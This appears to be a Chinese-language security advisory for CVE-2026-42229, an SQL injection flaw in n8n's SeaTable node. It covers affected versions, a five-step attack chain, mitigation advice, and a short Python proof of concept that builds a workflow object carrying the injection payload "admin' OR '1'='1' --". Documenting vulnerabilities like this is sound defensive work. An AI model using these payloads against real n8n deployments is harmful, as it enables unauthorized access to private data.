IPBUF安全漏洞报告
English
CVE-2026-42229 CVSS 8.8 高危

CVE-2026-42229 n8n SeaTable节点SQL注入漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42229
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

SQL注入n8nSeaTable高危漏洞工作流自动化

漏洞概述

n8n是一个开源工作流自动化平台。在1.123.32、2.17.4和2.18.1版本之前,其SeaTable节点存在严重安全缺陷。该节点的row:search和row:get操作未对用户控制的输入进行适当的转义或参数化处理,而是直接将其拼接到SQL查询字符串中。攻击者可通过工作流表达式将恶意输入传入这些参数,进而操纵SQL查询,绕过工作流中实现的行级过滤逻辑,从连接的SeaTable数据库中检索未经授权的数据行。

技术细节

该漏洞的根本原因在于SeaTable节点在处理搜索和行获取操作时的不安全编码实践。具体而言,当工作流接收外部用户输入并通过表达式将其传递给SeaTable节点时,系统未实施标准的SQL参数化查询机制,而是采用了字符串拼接的方式构建SQL语句。这意味着攻击者可以注入特殊的SQL字符(如单引号、注释符等)来修改查询的原始逻辑。例如,通过注入' OR '1'='1,攻击者可以绕过原本用于限制数据访问范围的WHERE子句条件。这种利用方式不需要高权限用户交互,只要攻击者能够影响传递给SeaTable节点的输入数据,即可利用此漏洞读取敏感信息,导致机密性受损。

攻击链分析

STEP 1
侦察
攻击者识别出目标组织正在使用n8n平台,并且工作流中集成了SeaTable节点,且该节点接受外部输入(如通过Webhook)。
STEP 2
武器化
攻击者构造包含SQL注入Payload的恶意数据,旨在绕过行级过滤逻辑(例如使用' OR '1'='1)。
STEP 3
交付
攻击者向n8n工作流的入口点(如Webhook URL或API端点)发送包含恶意Payload的HTTP请求。
STEP 4
利用
n8n处理工作流,SeaTable节点将恶意输入直接拼接到SQL查询语句中并执行。
STEP 5
达成
由于SQL语句逻辑被篡改,数据库返回了未经授权的行数据,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-42229: n8n SeaTable Node SQL Injection # This script demonstrates how a malicious payload could be crafted # to exploit the SQL injection vulnerability in the SeaTable node. import json # The vulnerability occurs when user input is passed to SeaTable node operations # like 'row:search' or 'row:get' without sanitization. # Normal input might look like: "search_term" # Malicious input to bypass filtering and extract data: payload_input = "admin' OR '1'='1' --" # Simulating the workflow execution object structure in n8n malicious_workflow_data = { "nodes": [ { "parameters": { "operation": "row:get", "rowId": payload_input # Vulnerable parameter }, "name": "SeaTable", "type": "n8n-nodes-base.seatable", "typeVersion": 1, "position": [250, 300] } ] } print(f"Constructed malicious input for SeaTable node: {payload_input}") print("If processed by a vulnerable n8n version, this input would be concatenated directly into the SQL query.") print("Resulting SQL logic would likely bypass intended row restrictions.") print(json.dumps(malicious_workflow_data, indent=2))

影响范围

n8n < 1.123.32
n8n >= 2.0.0, < 2.17.4
n8n >= 2.18.0, < 2.18.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用涉及SeaTable节点且接受外部用户输入的工作流。或者,在数据进入SeaTable节点之前,部署中间件或使用n8n的Function节点对输入进行严格的正则验证和清洗,移除单引号、双划线等SQL特殊字符。同时,应检查日志以检测是否存在异常的数据库查询活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表